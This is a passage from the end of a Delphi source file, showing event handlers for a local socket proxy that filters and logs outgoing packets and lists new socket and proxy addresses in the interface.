  838. procedure TMainForm.SwitcherOnSend(buf: array of char; buflen: Integer;
  839.   from, Dest: TSockAddr;var drop:Boolean);
  840. begin
  841. drop:=not BeforeSend(buf,buflen);
  842. AddLocalMsg(buf,buflen);
  843. ProcessClientMsg(buf,buflen);
  844. end;
  845. procedure TMainForm.SwitcherOnNewSocket(Sender: TObject);
  846. begin
  847. with (Sender as TProxySock)do
  848.     begin
  849.     AnalyList.Items.Add(
  850.         'New Socket:'+
  851.         inet_ntoa(ThisAddr.sin_addr)+' Port:'+IntToStr(ntohs(ThisAddr.sin_port))+
  852.         'Proxy socket:'
  853.         +inet_ntoa(ProxyAddr.sin_addr)+' Port:'+IntToStr(ntohs(ProxyAddr.sin_port)));
  854.     Application.ProcessMessages;
  855.     end;
  856. end;
  857. procedure TMainForm.btnFirstAidClick(Sender: TObject);
  858. begin
  859. TFirstAidDlg.Execute;
  860. end;
  861. procedure TMainForm.FormDestroy(Sender: TObject);
  862. begin
  863. if(Assigned(Switcher))then Switcher.Destroy;
  864. sleep(100);
  865. end;
  866. end.